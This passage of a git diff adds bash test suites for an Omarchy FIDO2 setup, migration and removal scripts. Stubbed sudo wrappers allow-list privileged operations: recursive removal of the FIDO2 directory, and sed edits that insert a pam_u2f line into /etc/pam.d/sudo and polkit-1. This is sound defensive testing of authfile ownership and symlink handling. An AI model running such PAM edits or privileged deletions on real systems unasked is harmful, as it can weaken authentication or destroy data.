"$4" + ;; + chmod) + # Only ever the FIDO2 directory, and only back to the mode the setup + # installs. Nothing here may reopen the authfile itself. + if (( $# != 3 )) || [[ $2 != "755" || $3 != "$TEST_AUTHDIR" ]]; then + reject "$@" + fi + + exec /usr/bin/chmod 755 "$TEST_AUTHDIR" + ;; + test) + # Looking behind an untraversable directory, never a write. This stub is not + # really root, so open the directory just long enough to answer the way root + # would and put its mode straight back -- the suite then still sees whether + # production left the mode alone. + if (( $# != 3 )) || [[ $2 != "-e" && $2 != "-L" ]] || [[ $3 != "$TEST_AUTHFILE" ]]; then + reject "$@" + fi + + saved_mode=$(/usr/bin/stat -c %a "$TEST_AUTHDIR") + /usr/bin/chmod 755 "$TEST_AUTHDIR" + probe_status=0 + /usr/bin/test "$2" "$3" || probe_status=$? + /usr/bin/chmod "$saved_mode" "$TEST_AUTHDIR" + exit "$probe_status" + ;; + rm) + if (( $# != 4 )) || [[ $2 != "-f" || $3 != "--" ]]; then + reject "$@" + fi + + if [[ ${TEST_MKTEMP_MODE:-normal} == "nonregular" && $4 == "$TEST_AUTHFILE.new.BAD123" && -d $4 && ! -L $4 ]]; then + exit 73 + fi + + recorded_stage "$4" || reject "$@" + exec /usr/bin/rm -f -- "$4" + ;; + *) + reject "$@" + ;; +esac +SH + +chmod +x "$stub_bin/sudo" + +cat >"$stub_bin/stat" <<'SH' +#!/bin/bash + +set -euo pipefail + +if [[ ${TEST_FAKE_STAT:-0} == "1" && ${TEST_AUTHFILE:-} == "${TEST_AUTHDIR:-}/fido2" ]] && + (( $# == 3 )) && [[ $1 == "-c" && $3 == "$TEST_AUTHFILE" ]]; then + case "$2" in + %U) printf '%s\n' "$TEST_STAT_OWNER" ;; + %G) printf '%s\n' "$TEST_STAT_GROUP" ;; + %a) printf '%s\n' "$TEST_STAT_MODE" ;; + *) exec /usr/bin/stat "$@" ;; + esac +else + exec /usr/bin/stat "$@" +fi +SH + +chmod +x "$stub_bin/stat" + +# omarchy-migrate records this migration complete on any zero exit, so the +# states it cannot repair have to reach the user somewhere that outlives the +# update terminal's scrollback. +cat >"$stub_bin/omarchy-notification-send" <<'SH' +#!/bin/bash + +printf 'notify' >>"$TEST_NOTIFICATIONS" +printf '\t%s' "$@" >>"$TEST_NOTIFICATIONS" +printf '\n' >>"$TEST_NOTIFICATIONS" +exit "${TEST_NOTIFY_STATUS:-0}" +SH + +chmod +x "$stub_bin/omarchy-notification-send" + +run_migration() { + local fail_install="${1:-0}" + local fail_mv="${2:-0}" + local stat_owner="${3:-}" + local stat_group="${4:-}" + local stat_mode="${5:-}" + local mktemp_mode="${6:-normal}" + local notify_status="${7:-0}" + local fake_stat=0 + + if [[ -n $stat_owner || -n $stat_group || -n $stat_mode ]]; then + [[ -n $stat_owner && -n $stat_group && -n $stat_mode ]] || + fail "a fake stat fixture supplies owner, group and mode together" + fake_stat=1 + fi + + : >"$calls" + : >"$notifications" + sed "s|/etc/fido2/fido2|$authfile|" "$migration" >"$migration_copy" + + PATH="$stub_bin:$PATH" TEST_AUTHDIR="$authdir" TEST_AUTHFILE="$authfile" \ + TEST_FAIL_INSTALL="$fail_install" TEST_FAIL_MV="$fail_mv" TEST_FAKE_STAT="$fake_stat" \ + TEST_LOG="$calls" TEST_MKTEMP_MODE="$mktemp_mode" TEST_NOTIFICATIONS="$notifications" \ + TEST_NOTIFY_STATUS="$notify_status" TEST_STAGES="$stages" TEST_STAT_GROUP="$stat_group" \ + TEST_STAT_MODE="$stat_mode" TEST_STAT_OWNER="$stat_owner" TEST_TMP="$test_tmp" \ + bash -euo pipefail "$migration_copy" >/dev/null +} + +safe_fixture_stage_path() { + local candidate=$1 + local prefix="$authfile.new." + local suffix + + [[ $candidate == "$prefix"* ]] || return 1 + suffix=${candidate#"$prefix"} + [[ $suffix =~ ^[[:alnum:]]{6}$ ]] +} + +# Every repair case is about an authfile its own user can still rewrite. The +# calls below give stat an explicit caller-owned state, so the same assertions +# work as an ordinary user, as real root, and in a namespace mapping only UID 0. +write_authfile() { + printf 'tester:credential-handle,public-key,es256,+presence\n' >"$authfile" + chmod "$1" "$authfile" +} + +# Almost every machine has never registered a key, and establishing that must +# not cost those users a password prompt. +rm -f "$authfile" +run_migration +[[ ! -s $calls ]] || fail "a machine with no authfile escalates nothing" "$(cat "$calls")" +pass "migration skips a machine that never set FIDO2 up" + +# What the old `sudo mv` left behind on every machine that did: the authfile PAM +# consults for sudo, owned by the account it authenticates, at the caller's umask. +write_authfile 644 || fail "the test can stage a non-root-owned authfile" +before_inode=$(stat -c %i "$authfile") +run_migration 0 0 caller caller 644 + +grep -Fq $'sudo\tmktemp\t'"$authfile.new.XXXXXX" "$calls" || + fail "the repair asks root for a unique sibling stage" "$(cat "$calls")" +grep -Fq $'sudo\tinstall\t-T\t-m\t644\t-o\troot\t-g\troot\t'"$authfile"$'\t' "$calls" || + fail "a user-owned authfile is reinstalled root:root and mode 644" "$(cat "$calls")" +grep -Fq $'sudo\tmv\t-Tf\t' "$calls" || + fail "the staged authfile is atomically renamed over the live path" "$(cat "$calls")" +if grep -Fq $'sudo\tchown\t' "$calls"; then + fail "the repair replaces the authfile rather than chowning it" "$(cat "$calls")" +fi +if grep -Fq $'sudo\trm\t' "$calls"; then + fail "a successful repair disarms its EXIT cleanup" "$(cat "$calls")" +fi +pass "migration stages and atomically installs a root-owned authfile" + +[[ $(stat -c %a "$authfile") == "644" ]] || + fail "the repaired authfile is mode 644" "got: $(stat -c %a "$authfile")" +[[ $(cat "$authfile") == "tester:credential-handle,public-key,es256,+presence" ]] || + fail "the repaired authfile keeps its credential" "got: $(cat "$authfile")" +if (( EUID == 0 )) && [[ $(stat -c %U:%G "$authfile") != "root:root" ]]; then + fail "the repaired authfile is root:root" "got: $(stat -c %U:%G "$authfile")" +fi +pass "migration preserves the credential with its PAM-readable mode" + +# The whole point of replacing rather than chowning. Permission is checked at +# open(2), so a descriptor the registering user opened before the update stays +# writable on the old inode through any chmod or chown -- and pam_u2f resolving +# the authfile path would keep reading exactly that inode. +[[ $(stat -c %i "$authfile") != "$before_inode" ]] || + fail "the repair lands on a new inode, orphaning any descriptor already open on the old one" +pass "migration replaces the inode a pre-existing writer would still hold" + +mapfile -t staged_paths <"$stages" +(( ${#staged_paths[@]} == 1 )) || + fail "the first repair creates exactly one stage" "got: ${staged_paths[*]}" +first_stage=${staged_paths[0]} +safe_fixture_stage_path "$first_stage" || + fail "the stage is a unique sibling of the authfile" "got: $first_stage" +[[ ! -e $first_stage && ! -L $first_stage ]] || + fail "the staged copy does not outlive the repair" "left behind: $first_stage" +pass "migration uses a unique sibling and leaves no staged copy behind" + +# Treat mktemp's output as untrusted even though sudo normally resolves the +# system binary. This existing regular path has a six-character suffix only if +# `/` is accepted as one of the characters, as the old ?????? glob did. The +# strict shape check must reject it before any privileged write or cleanup. +write_authfile 644 || fail "the test can stage the malformed-output fixture" +before_inode=$(stat -c %i "$authfile") +malformed_parent="$authfile.new.A" +malformed_stage="$malformed_parent/BCDE" +if run_migration 0 0 caller caller 644 malformed; then + fail "malformed mktemp output fails the migration" +fi + +grep -Fq $'sudo\tmktemp\t' "$calls" || + fail "the malformed-output fixture reaches mktemp" "$(cat "$calls")" +if grep -Fq $'sudo\tinstall\t' "$calls" || grep -Fq $'sudo\tmv\t' "$calls" || grep -Fq $'sudo\trm\t' "$calls"; then + fail "malformed mktemp output reaches no install, rename or cleanup" "$(cat "$calls")" +fi +[[ $(stat -c %i "$authfile") == "$before_inode" ]] || + fail "malformed mktemp output leaves the live authfile inode alone" +[[ -f $malformed_stage && ! -L $malformed_stage ]] || + fail "the malformed-output fixture remains a regular scratch file" "got: $malformed_stage" +/usr/bin/rm -- "$malformed_stage" +/usr/bin/rmdir -- "$malformed_parent" +pass "migration rejects malformed mktemp output before any privileged write" + +# A name can have the right prefix and six-character suffix but still name an +# object mktemp would never return. Production must reject that object before +# install/mv; its cleanup may address only that validated scratch sibling and +# must not recursively remove the unexpected directory. +write_authfile 644 || fail "the test can stage the nonregular-output fixture" +before_inode=$(stat -c %i "$authfile") +nonregular_stage="$authfile.new.BAD123" +if run_migration 0 0 caller caller 644 nonregular; then + fail "nonregular mktemp output fails the migration" +fi + +safe_fixture_stage_path "$nonregular_stage" || + fail "the nonregular fixture uses a syntactically valid stage name" "got: $nonregular_stage" +if grep -Fq $'sudo\tinstall\t' "$calls" || grep -Fq $'sudo\tmv\t' "$calls"; then + fail "nonregular mktemp output is rejected before install or rename" "$(cat "$calls")" +fi +grep -Fq $'sudo\trm\t-f\t--\t'"$nonregular_stage" "$calls" || + fail "cleanup addresses only the validated nonregular sibling" "$(cat "$calls")" +[[ -d $nonregular_stage && ! -L $nonregular_stage ]] || + fail "cleanup does not recursively remove a nonregular stage" "got: $nonregular_stage" +[[ $(stat -c %i "$authfile") == "$before_inode" ]] || + fail "nonregular mktemp output leaves the live authfile inode alone" +/usr/bin/rmdir -- "$nonregular_stage" +pass "migration rejects and safely handles nonregular mktemp output" + +# A caller-owned file still needs a fresh inode and root ownership whatever its +# current mode. +write_authfile 600 || fail "the test can restage a non-root-owned authfile" +run_migration 0 0 caller caller 600 +grep -Fq $'sudo\tinstall\t-T\t' "$calls" || + fail "a mode-600 authfile the user still owns is repaired" "$(cat "$calls")" + +mapfile -t staged_paths <"$stages" +(( ${#staged_paths[@]} == 2 )) || + fail "two repairs create two stages" "got: ${staged_paths[*]}" +second_stage=${staged_paths[1]} +[[ ! -e $second_stage && ! -L $second_stage ]] || + fail "the second staged copy does not outlive the repair" "left behind: $second_stage" +pass "migration repairs a user-owned authfile whatever its mode and cleans its stage" + +# A failure after mktemp must remove only the exact stage the stub created. The +# live authfile stays on its original inode because mv was never reached. +write_authfile 644 || fail "the test can stage the cleanup fixture" +before_inode=$(stat -c %i "$authfile") +if run_migration 1 0 caller caller 644; then + fail "an install failure propagates out of the migration" +fi + +mapfile -t staged_paths <"$stages" +(( ${#staged_paths[@]} == 3 )) || + fail "the failed repair creates one stage" "got: ${staged_paths[*]}" +failed_stage=${staged_paths[2]} +grep -Fq $'sudo\trm\t-f\t--\t'"$failed_stage" "$calls" || + fail "the EXIT trap removes the failed repair's exact stage" "$(cat "$calls")" +[[ ! -e $failed_stage && ! -L $failed_stage ]] || + fail "the failed stage is cleaned up" "left behind: $failed_stage" +[[ $(stat -c %i "$authfile") == "$before_inode" ]] || + fail "a failed repair leaves the live authfile inode alone" +pass "migration cleans its unique stage after a failed repair" + +# A failure after install has the same cleanup obligation. In particular, the +# EXIT trap must still be armed when mv fails. +write_authfile 644 || fail "the test can stage the mv-failure fixture" +before_inode=$(stat -c %i "$authfile") +if run_migration 0 1 caller caller 644; then + fail "an mv failure propagates out of the migration" +fi + +mapfile -t staged_paths <"$stages" +(( ${#staged_paths[@]} == 4 )) || + fail "the mv-failed repair creates one stage" "got: ${staged_paths[*]}" +failed_mv_stage=${staged_paths[3]} +grep -Fq $'sudo\tmv\t-Tf\t'"$failed_mv_stage"$'\t'"$authfile" "$calls" || + fail "the injected mv failure occurs after install" "$(cat "$calls")" +grep -Fq $'sudo\trm\t-f\t--\t'"$failed_mv_stage" "$calls" || + fail "the EXIT trap removes the mv-failed repair's exact stage" "$(cat "$calls")" +[[ ! -e $failed_mv_stage && ! -L $failed_mv_stage ]] || + fail "the mv-failed stage is cleaned up" "left behind: $failed_mv_stage" +[[ $(stat -c %i "$authfile") == "$before_inode" ]] || + fail "an mv failure leaves the live authfile inode alone" +pass "migration cleans its unique stage after a failed rename" + +# The state a completed repair leaves, which is also where every machine that +# registers after this fix starts. A second account, and a second run for the +# same account, must find it done and escalate nothing. Fake only stat's view of +# the scratch authfile so this stays deterministic without borrowing a host +# file or requiring the suite itself to run as root. +write_authfile 644 || fail "the test can stage the settled-state fixture" +run_migration 0 0 root root 644 +[[ ! -s $calls ]] || + fail "an already root:root mode-644 authfile escalates nothing" "$(cat "$calls")" +pass "migration deterministically no-ops on its settled state" + +# Owner, group and mode are independent parts of that state check. Hold two at +# their settled values while making each third value wrong, and require repair. +write_authfile 644 || fail "the test can stage the wrong-owner fixture" +run_migration 0 0 nobody root 644 +grep -Fq $'sudo\tinstall\t-T\t' "$calls" || + fail "a non-root-owned authfile is repaired even when group and mode are settled" "$(cat "$calls")" +pass "migration repairs an authfile with the wrong owner" + +write_authfile 644 || fail "the test can stage the wrong-group fixture" +run_migration 0 0 root nobody 644 +grep -Fq $'sudo\tinstall\t-T\t' "$calls" || + fail "a non-root-group authfile is repaired even when owner and mode are settled" "$(cat "$calls")" +pass "migration repairs an authfile with the wrong group" + +write_authfile 644 || fail "the test can stage the wrong-mode fixture" +run_migration 0 0 root root 600 +grep -Fq $'sudo\tinstall\t-T\t' "$calls" || + fail "a mode-600 authfile is repaired even when owner and group are settled" "$(cat "$calls")" +pass "migration repairs an authfile with the wrong mode" + +# Neither of these is ours to rewrite, and both must say so without escalating: +# chown follows a symlink and would take the target instead, while changing a +# directory's mode would alter an object the migration does not own. +rm -rf "$authfile" +ln -s "$test_tmp/elsewhere" "$authfile" +: >"$test_tmp/elsewhere" +run_migration +[[ ! -s $calls ]] || fail "a symlinked authfile escalates nothing" "$(cat "$calls")" +[[ -s $notifications ]] || + fail "a symlinked authfile is raised where the update terminal cannot swallow it" + +rm -f "$authfile" +ln -s "$test_tmp/missing" "$authfile" +run_migration +[[ ! -s $calls ]] || fail "a dangling symlink escalates nothing" "$(cat "$calls")" +[[ -s $notifications ]] || fail "a dangling symlink is raised the same way" +pass "migration reports a symlinked authfile and repairs nothing" + +rm -f "$authfile" +mkdir -p "$authfile" +run_migration +[[ ! -s $calls ]] || fail "a directory at the authfile path escalates nothing" "$(cat "$calls")" +[[ -s $notifications ]] || fail "a non-regular authfile is raised the same way" +pass "migration reports a non-regular authfile and repairs nothing" + +# omarchy-migrate writes this migration's completion marker on any zero exit, so +# a machine it cannot repair gets one shot at telling the user. The states above +# are exactly the ones where the authfile may already be under someone else's +# control, and a line in the update terminal scrolls past. +# Assert the argument shape rather than a substring. The glyph is a private-use +# codepoint that an edit can silently drop, and losing it shifts every argument +# left: -g swallows the headline, the body becomes the title, and the message +# goes out with no description. A substring match sees all of that as fine. +awk -F'\t' ' + $1 == "notify" && NF == 7 && $2 == "-u" && $3 == "critical" && $4 == "-g" && + $5 != "" && $6 == "FIDO2 authfile needs attention" && $7 != "" { found = 1 } + END { exit !found } +' "$notifications" || + fail "the notification passes a glyph, headline and body as separate arguments" \ + "$(cat -A "$notifications")" +pass "migration raises its unrepairable states as a desktop notification" + +# The old setup created the FIDO2 directory with `sudo mkdir -p`, which took the +# caller's umask: registering under `umask 077` left it mode 0700 with the +# user-owned authfile still inside. Absence and "cannot look" are the same +# answer to an unprivileged test, so keying the early exit on the authfile +# recorded a repair on exactly the machines that still needed one. +rm -rf "$authfile" +write_authfile 644 || fail "the test can stage the untraversable-directory fixture" +before_inode=$(stat -c %i "$authfile") +chmod 000 "$authdir" +run_migration 0 0 caller caller 644 +[[ $(stat -c %a "$authdir") == "755" ]] || + fail "the migration reopens the directory the old umask closed" "got: $(stat -c %a "$authdir")" +grep -Fxq $'sudo\tchmod\t755\t'"$authdir" "$calls" || + fail "the migration asks root to reopen the FIDO2 directory" "$(cat "$calls")" +grep -Fq $'sudo\tinstall\t-T\t' "$calls" || + fail "an authfile hidden behind an untraversable directory is still repaired" "$(cat "$calls")" +[[ $(stat -c %i "$authfile") != "$before_inode" ]] || + fail "the repair behind an untraversable directory still replaces the inode" +pass "migration repairs an authfile an unreadable directory hid from it" + +# The narrow escalation above must not reach a machine that never registered a +# key, which is almost all of them. +rm -f "$authfile" +rm -rf "$authdir" +run_migration +[[ ! -s $calls ]] || + fail "a machine with no FIDO2 directory still escalates nothing" "$(cat "$calls")" +mkdir -p "$authdir" +run_migration +[[ ! -s $calls ]] || + fail "an empty readable FIDO2 directory escalates nothing" "$(cat "$calls")" +pass "migration still costs no password prompt on a machine that never set FIDO2 up" + +# An aborted setup can leave the directory behind with nothing in it, and an +# administrator may keep one deliberately private. Looking costs a probe, but +# neither may have its mode widened, or its group and special bits discarded, +# for a repair that is not needed. +rm -f "$authfile" +chmod 000 "$authdir" +run_migration +[[ $(stat -c %a "$authdir") == "0" ]] || + fail "an empty inaccessible FIDO2 directory keeps its mode" "got: $(stat -c %a "$authdir")" +! grep -Fq $'sudo\tchmod\t' "$calls" || + fail "an empty inaccessible FIDO2 directory is never reopened" "$(cat "$calls")" +if grep -Fq $'sudo\tinstall\t' "$calls" || grep -Fq $'sudo\tmv\t' "$calls"; then + fail "an empty inaccessible FIDO2 directory is never repaired" "$(cat "$calls")" +fi +chmod 755 "$authdir" +pass "migration looks behind an inaccessible FIDO2 directory without widening it" + +# Notification delivery fails on a machine with no user bus or no notification +# server. That must not abort the migration under `bash -euo pipefail` and take +# every later migration with it. +rm -f "$authfile" +ln -s "$test_tmp/missing" "$authfile" +run_migration 0 0 "" "" "" normal 1 +[[ -s $notifications ]] || + fail "the failing notification was still attempted" "$(cat "$notifications")" +pass "migration survives a notification it could not deliver" +rm -f "$authfile" diff --git a/test/shell.d/security-fido2-remove-test.sh b/test/shell.d/security-fido2-remove-test.sh new file mode 100755 index 00000000..6f85090b --- /dev/null +++ b/test/shell.d/security-fido2-remove-test.sh @@ -0,0 +1,126 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +remove="$ROOT/bin/omarchy-remove-security-fido2" + +test_tmp=$(mktemp -d) +stub_bin="$test_tmp/bin" +calls="$test_tmp/calls.log" +authdir="$test_tmp/etc-fido2" +elsewhere="$test_tmp/elsewhere" +remove_copy="$test_tmp/remove.sh" +mkdir -p "$stub_bin" + +cleanup() { + rm -rf "$test_tmp" + return 0 +} +trap cleanup EXIT + +# The same seam the setup and migration suites use: the removal deletes an +# absolute path no unprivileged suite can own, and an environment override in +# the shipped command would hand a privileged rm -rf an operand the caller +# chooses. Retarget a copy instead, and fail if the path is not named exactly +# once so this seam cannot quietly stop standing for the command it copies. +occurrences=$(grep -Fxc 'authdir=/etc/fido2' "$remove") || occurrences=0 +(( occurrences == 1 )) || + fail "the removal names its FIDO2 directory exactly once" "found $occurrences occurrences" +pass "removal names its FIDO2 directory once, and the test drives a retargeted copy" + +sed "s|^authdir=/etc/fido2$|authdir=$authdir|" "$remove" >"$remove_copy" + +cat >"$stub_bin/sudo" <<'SH' +#!/bin/bash + +set -euo pipefail + +reject() { + printf 'refusing unexpected sudo invocation:' >&2 + printf ' %q' "$@" >&2 + printf '\n' >&2 + exit 97 +} + +if [[ ${TEST_AUTHDIR:-} != /* || ${TEST_LOG:-} != /* ]]; then + reject "$@" +fi + +printf 'sudo' >>"$TEST_LOG" +printf '\t%s' "$@" >>"$TEST_LOG" +printf '\n' >>"$TEST_LOG" + +case "${1:-}" in + rm) + if (( $# != 3 )) || [[ $2 != "-rf" || $3 != "$TEST_AUTHDIR" ]]; then + reject "$@" + fi + + exec /usr/bin/rm -rf "$TEST_AUTHDIR" + ;; + sed) + if (( $# != 4 )) || [[ $2 != "-i" ]]; then + reject "$@" + fi + ;; + *) + reject "$@" + ;; +esac +SH + +cat >"$stub_bin/omarchy-pkg-drop" <<'SH' +#!/bin/bash +SH + +chmod +x "$stub_bin/sudo" "$stub_bin/omarchy-pkg-drop" + +invoke_remove() { + : >"$calls" + TEST_AUTHDIR="$authdir" TEST_LOG="$calls" \ + PATH="$stub_bin:$ROOT/bin:$PATH" \ + bash "$remove_copy" /dev/null +} + +# The ordinary case: a real directory holding a registration. +rm -rf "$authdir" +mkdir -p "$authdir" +printf 'tester:credential-handle,public-key,es256,+presence\n' >"$authdir/fido2" +invoke_remove +grep -Fxq $'sudo\trm\t-rf\t'"$authdir" "$calls" || + fail "removal deletes the FIDO2 directory" "$(cat "$calls")" +[[ ! -e $authdir ]] || fail "the FIDO2 directory is gone" +pass "removal deletes a real FIDO2 directory" + +# -d is false for a dangling link, so the guard it replaced left one sitting +# there for the next setup to install an authfile through. +rm -rf "$authdir" +ln -s "$test_tmp/missing" "$authdir" +invoke_remove +grep -Fxq $'sudo\trm\t-rf\t'"$authdir" "$calls" || + fail "removal deletes a dangling symlink at the FIDO2 directory" "$(cat "$calls")" +[[ ! -e $authdir && ! -L $authdir ]] || + fail "the dangling symlink is gone" +pass "removal deletes a dangling symlink where -d would have skipped it" + +# rm -rf on a symlink unlinks the link. Whatever it pointed at is not ours. +rm -rf "$authdir" +rm -rf "$elsewhere" +mkdir -p "$elsewhere" +printf 'keep me\n' >"$elsewhere/canary" +ln -s "$elsewhere" "$authdir" +invoke_remove +[[ ! -e $authdir && ! -L $authdir ]] || + fail "the symlink at the FIDO2 directory is gone" +[[ -d $elsewhere && -f $elsewhere/canary ]] || + fail "removal takes the symlink, never the directory it points at" +pass "removal takes a symlink itself and leaves its target intact" + +# Nothing there at all: no escalation, so removing FIDO2 twice costs no prompt. +rm -rf "$authdir" +invoke_remove +! grep -Fq $'sudo\trm\t' "$calls" || + fail "removal escalates no rm when there is no FIDO2 directory" "$(cat "$calls")" +pass "removal escalates nothing when there is no FIDO2 directory" diff --git a/test/shell.d/security-fido2-test.sh b/test/shell.d/security-fido2-test.sh new file mode 100755 index 00000000..f7a6a25c --- /dev/null +++ b/test/shell.d/security-fido2-test.sh @@ -0,0 +1,480 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +setup="$ROOT/bin/omarchy-setup-security-fido2" + +test_tmp=$(mktemp -d) +stub_bin="$test_tmp/bin" +stages="$test_tmp/stages.log" +calls="$test_tmp/calls.log" +pamu_targets="$test_tmp/pamu-targets.log" +bare_mktemp="$test_tmp/bare-mktemp.log" +credential="tester:credential-handle,public-key,es256,+presence" +authdir="$test_tmp/etc-fido2" +authfile="$authdir/fido2" +setup_copy="$test_tmp/setup.sh" +mkdir -p "$stub_bin" + +cleanup() { + rm -rf "$test_tmp" + return 0 +} +trap cleanup EXIT + +# The setup installs to an absolute path no unprivileged suite can write, and an +# environment override in the shipped command would hand its privileged install +# and mv an operand the caller chooses. Retarget a scratch copy instead, and +# fail if either path is not named exactly once, so this seam cannot quietly +# stop standing for the command it copies. Keying the suite on the host's own +# /etc/fido2 instead is what let the staging checks below pass without asserting +# anything on the machines that actually use FIDO2. +occurrences=$(grep -Fxc 'authdir=/etc/fido2' "$setup") || occurrences=0 +(( occurrences == 1 )) || + fail "the setup names its FIDO2 directory exactly once" "found $occurrences occurrences" +occurrences=$(grep -Fxc 'authfile=/etc/fido2/fido2' "$setup") || occurrences=0 +(( occurrences == 1 )) || + fail "the setup names its authfile exactly once" "found $occurrences occurrences" +pass "setup names its FIDO2 paths once each, and the test drives a retargeted copy" + +sed -e "s|^authdir=/etc/fido2$|authdir=$authdir|" \ + -e "s|^authfile=/etc/fido2/fido2$|authfile=$authfile|" "$setup" >"$setup_copy" + +# The setup must not create a caller-owned named file for pamu2fcfg. A bare +# mktemp is therefore a test failure; only the sudo stub below may invoke the +# real command, and it does so with an absolute scratch template. +cat >"$stub_bin/mktemp" <<'SH' +#!/bin/bash + +printf 'mktemp' >>"$TEST_BARE_MKTEMP" +printf '\t%s' "$@" >>"$TEST_BARE_MKTEMP" +printf '\n' >>"$TEST_BARE_MKTEMP" +exit 98 +SH + +# Execute only the setup's expected bare-sudo protocol. The production mktemp +# template is logged exactly, but its root-created sibling is represented by a +# unique regular file inside the scratch directory. The whitelisted operations +# map every write into that directory; arbitrary direct commands are outside +# this harness. +cat >"$stub_bin/sudo" <<'SH' +#!/bin/bash + +set -euo pipefail + +reject() { + printf 'refusing unexpected sudo invocation:' >&2 + printf ' %q' "$@" >&2 + printf '\n' >&2 + exit 97 +} + +if [[ ${TEST_TMP:-} != /* || ${TEST_AUTHDIR:-} != "$TEST_TMP/etc-fido2" || ${TEST_AUTHFILE:-} != "$TEST_AUTHDIR/fido2" || ${TEST_STAGES:-} != "$TEST_TMP/stages.log" || ${TEST_LOG:-} != "$TEST_TMP/calls.log" || ! ${TEST_FAIL_CHMOD:-} =~ ^[01]$ || ! ${TEST_FAIL_MV:-} =~ ^[01]$ ]]; then + reject "$@" +fi + +printf 'sudo' >>"$TEST_LOG" +printf '\t%s' "$@" >>"$TEST_LOG" +printf '\n' >>"$TEST_LOG" + +safe_stage_path() { + local candidate=$1 + local prefix="$TEST_AUTHFILE.new." + local suffix + + [[ $candidate == "$prefix"* ]] || return 1 + suffix=${candidate#"$prefix"} + [[ $suffix =~ ^[[:alnum:]]{6}$ ]] +} + +recorded_stage() { + local candidate=$1 + + safe_stage_path "$candidate" || return 1 + [[ -f $candidate && ! -L $candidate ]] || return 1 + /usr/bin/grep -Fxq -- "$candidate" "$TEST_STAGES" +} + +case "${1:-}" in + install) + if (( $# != 9 )) || [[ $2 != "-d" || $3 != "-m" || $4 != "755" || $5 != "-o" || $6 != "root" || $7 != "-g" || $8 != "root" || $9 != "$TEST_AUTHDIR" ]]; then + reject "$@" + fi + + if (( EUID == 0 )); then + exec /usr/bin/install -d -m 755 -o root -g root "$TEST_AUTHDIR" + else + exec /usr/bin/install -d -m 755 "$TEST_AUTHDIR" + fi + ;; + mktemp) + if (( $# != 2 )) || [[ $2 != "$TEST_AUTHFILE.new.XXXXXX" ]]; then + reject "$@" + fi + + case ${TEST_MKTEMP_MODE:-normal} in + normal) + stage=$(/usr/bin/mktemp -- "$2") + if ! safe_stage_path "$stage" || [[ ! -f $stage || -L $stage ]]; then + reject "$@" + fi + + printf '%s\n' "$stage" >>"$TEST_STAGES" + printf '%s\n' "$stage" + ;; + malformed) + stage="$TEST_AUTHFILE.new.A/BCDE" + /usr/bin/mkdir -- "${stage%/*}" + : >"$stage" + printf '%s\n' "$stage" + ;; + nonregular) + stage="$TEST_AUTHFILE.new.BAD123" + /usr/bin/mkdir -- "$stage" + printf '%s\n' "$stage" + ;; + *) + reject "$@" + ;; + esac + ;; + tee) + if (( $# == 2 )) && recorded_stage "$2"; then + exec /usr/bin/tee "$2" + elif (( $# == 2 )) && [[ $2 == "/etc/pam.d/polkit-1" ]]; then + /usr/bin/cat >/dev/null + else + reject "$@" + fi + ;; + test) + if (( $# != 3 )) || [[ $2 != "-s" ]] || ! recorded_stage "$3"; then + reject "$@" + fi + /usr/bin/test -s "$3" + ;; + chmod) + if (( $# != 3 )) || [[ $2 != "644" ]] || ! recorded_stage "$3"; then + reject "$@" + fi + if [[ $TEST_FAIL_CHMOD == "1" ]]; then + exit 73 + fi + exec /usr/bin/chmod 644 "$3" + ;; + mv) + if (( $# != 4 )) || [[ $2 != "-Tf" || $4 != "$TEST_AUTHFILE" ]] || ! recorded_stage "$3"; then + reject "$@" + fi + if [[ $TEST_FAIL_MV == "1" ]]; then + exit 74 + fi + exec /usr/bin/mv -Tf -- "$3" "$TEST_AUTHFILE" + ;; + rm) + if (( $# != 4 )) || [[ $2 != "-f" || $3 != "--" ]] || ! recorded_stage "$4"; then + reject "$@" + fi + exec /usr/bin/rm -f -- "$4" + ;; + sed) + if (( $# != 4 )) || [[ $2 != "-i" ]]; then + reject "$@" + fi + + if [[ $3 == "1i auth sufficient pam_u2f.so cue authfile=/etc/fido2/fido2" && $4 == "/etc/pam.d/sudo" ]]; then + exit 0 + elif [[ $3 == "1i auth sufficient pam_u2f.so cue authfile=/etc/fido2/fido2" && $4 == "/etc/pam.d/polkit-1" ]]; then + exit 0 + else + reject "$@" + fi + ;; + echo) + if (( $# != 2 )) || [[ $2 != "FIDO2 authentication test successful" ]]; then + reject "$@" + fi + ;; + *) + reject "$@" + ;; +esac +SH + +cat >"$stub_bin/fido2-token" <<'SH' +#!/bin/bash + +echo '/dev/hidraw0: vendor=0x1050, product=0x0407 (Yubico YubiKey)' +SH + +cat >"$stub_bin/omarchy-pkg-add" <<'SH' +#!/bin/bash +SH + +# Record what pamu2fcfg's stdout actually targets. The fixed implementation +# gives it a pipe to privileged tee; refusing a regular-file descriptor keeps a +# regression from writing credential bytes into a caller-owned named file. +cat >"$stub_bin/pamu2fcfg" <<'SH' +#!/bin/bash + +set -euo pipefail + +target=$(readlink /proc/self/fd/1) +printf '%s\n' "$target" >>"$TEST_PAMU_TARGETS" +[[ $target == pipe:* ]] || exit 96 + +case "$TEST_PAMU_MODE" in + success) + printf '%s\n' "$TEST_CREDENTIAL" + ;; + fail) + printf '%s\n' "$TEST_CREDENTIAL" + exit 23 + ;; + empty) + exit 0 + ;; + *) + exit 95 + ;; +esac +SH + +chmod +x "$stub_bin/mktemp" "$stub_bin/sudo" "$stub_bin/fido2-token" \ + "$stub_bin/omarchy-pkg-add" "$stub_bin/pamu2fcfg" + +reset_run() { + : >"$calls" + : >"$stages" + : >"$pamu_targets" + : >"$bare_mktemp" + rm -rf "$authdir" +} + +invoke_setup() { + local pamu_mode="${1:-success}" + local fail_chmod="${2:-0}" + local fail_mv="${3:-0}" + local mktemp_mode="${4:-normal}" + + TEST_AUTHDIR="$authdir" TEST_AUTHFILE="$authfile" TEST_BARE_MKTEMP="$bare_mktemp" \ + TEST_CREDENTIAL="$credential" TEST_FAIL_CHMOD="$fail_chmod" TEST_FAIL_MV="$fail_mv" \ + TEST_LOG="$calls" TEST_MKTEMP_MODE="$mktemp_mode" TEST_PAMU_MODE="$pamu_mode" \ + TEST_PAMU_TARGETS="$pamu_targets" TEST_STAGES="$stages" TEST_TMP="$test_tmp" \ + PATH="$stub_bin:$ROOT/bin:$PATH" \ + bash "$setup_copy" /dev/null +} + +run_setup() { + invoke_setup "${1:-success}" || + fail "FIDO2 setup registers a device that answers fido2-token" "sudo calls: +$(cat "$calls")" +} + +safe_fixture_stage_path() { + local 